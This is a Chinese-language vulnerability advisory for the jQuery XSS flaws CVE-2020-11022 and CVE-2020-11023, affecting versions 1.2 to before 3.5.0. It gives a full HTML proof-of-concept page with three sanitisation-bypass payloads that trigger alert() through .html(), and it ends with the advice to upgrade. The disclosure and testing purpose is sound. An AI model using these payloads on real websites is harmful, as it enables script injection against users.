JQuery-XSS漏洞（CVE-2020-11022/CVE-2020-11023）
详细描述
据NVD描述：在大于或等于1.2且在3.5.0之前的jQuery版本中，即使执行了消毒（sanitize）处理，也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法（即html()、.append()等），从而导致xss漏洞。
受影响版本
大于等于1.2 ,小于 3.5.0
漏洞验证
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</title>
<!-- 测试JQuery -->
<script src="./jquery-3.3.1.min.js"></script>
<!-- <script src="./jquery.min.js"></script> -->
</head>
<body>
<script>
function test(n,jq){
sanitizedHTML = document.getElementById('poc'+n).innerHTML;
if(jq){
$('#div').html(sanitizedHTML);
}else{
div.innerHTML=sanitizedHTML;
}
}
</script>
<h1>jQuery XSS Examples (CVE-2020-11022/CVE-2020-11023)</h1>
<p>PoCs of XSS bugs fixed in <a href="//blog.jquery.com/2020/04/10/jquery-3-5-0-released/">jQuery 3.5.0</a>. You can find the details in my blog post: <a href="//mksben.l0.cm/2020/05/jquery3.5.0-xss.html">English</a> / <a href="//masatokinugawa.l0.cm/2020/05/jquery3.5.0-xss.html">日本語</a></p>
<h2>PoC 1</h2>
<button onclick="test(1)">Assign to innerHTML</button> <button onclick="test(1,true)">Append via .html()</button>
<xmp id="poc1">
<style><style /><img src=x one rror=alert(2)>
</xmp>
<h2>PoC 2 (Only jQuery 3.x affected)</h2>
<button onclick="test(2)">Assign to innerHTML</button> <button onclick="test(2,true)">Append via .html()</button>
<xmp id="poc2">
<img alt="<x" title="/><img src=x one rror=alert("1st")>">
</xmp>
<h2>PoC 3</h2>
<button onclick="test(3)">Assign to innerHTML</button> <button onclick="test(3,true)">Append via .html()</button>
<xmp id="poc3">
<option><style></option></select><img src=x one rror=alert("1st")></style>
</xmp>
<div id="div"></div>
</body>
</html>
修复方案
更新jQuery到3.5.0或更高版本
https://code.jquery.com/jquery-3.5.0.js